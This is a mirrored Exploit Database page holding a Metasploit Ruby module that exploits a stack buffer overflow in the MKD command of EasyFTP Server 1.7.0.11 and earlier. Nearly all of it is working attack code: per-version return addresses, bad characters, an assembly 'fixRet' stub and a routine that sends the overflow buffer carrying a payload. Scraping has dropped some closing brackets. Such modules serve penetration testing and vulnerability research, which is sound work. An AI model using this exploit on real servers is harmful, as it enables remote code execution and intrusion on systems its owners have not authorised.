EasyFTP Server 1.7.0.11 – ‘MKD’ Stack Buffer Overflow (Metasploit)

Exploit Database
144 阅读

作者： Metasploit

日期： 2010-07-27
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16711/

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# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name' => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11

and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which

leads to a stack based buffer overflow.

NOTE: EasyFTP allows anonymous access by default. However, in order to access the

'MKD' command, you must have access to an account that can create directories.

After version 1.7.0.12, this package was renamed "UplusFtp".

This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.

This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by

'fixing' the return address post-exploitation.See references for more information.

'Author' =>

[

'x90c', # original version

'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads)

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9935 $',

'References' =>

[

[ 'OSVDB', '62134' ],

[ 'URL', 'http://www.exploit-db.com/exploits/12044/' ],

[ 'URL', 'http://www.exploit-db.com/exploits/14399/' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'thread'

'Privileged' => false,

'Payload'=>

{

'Space'=> 512,

'BadChars' => "\x00\x0a\x0d\x2f\x5c",

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.10',{ 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.11',{ 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe

'DisclosureDate' => 'Apr 04 2010',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner =~ /BigFoolCat/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def make_nops(num); "C" * num; end

def exploit

connect_login

# NOTE:

# This exploit jumps to ebp, which happens to point at a partial version of

# the 'buf' string in memory. The fixRet below fixes up the code stored on the

# stack and then jumps there to execute the payload. The value in esp is used

# with an offset for the fixup.

fixRet_asm = %q{

mov edi,esp

sub edi, 0xfffffe10

mov [edi], 0xfeedfed5

add edi, 0xffffff14

jmp edi

}

fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

buf = ''

print_status("Prepending fixRet...")

buf << fixRet

buf << make_nops(0x20 - buf.length)

print_status("Adding the payload...")

buf << payload.encoded

# Patch the original stack data into the fixer stub

buf[10, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target address...")

buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

print_status("Sending exploit buffer...")

send_cmd( ['MKD', buf] , false)

handler

disconnect

end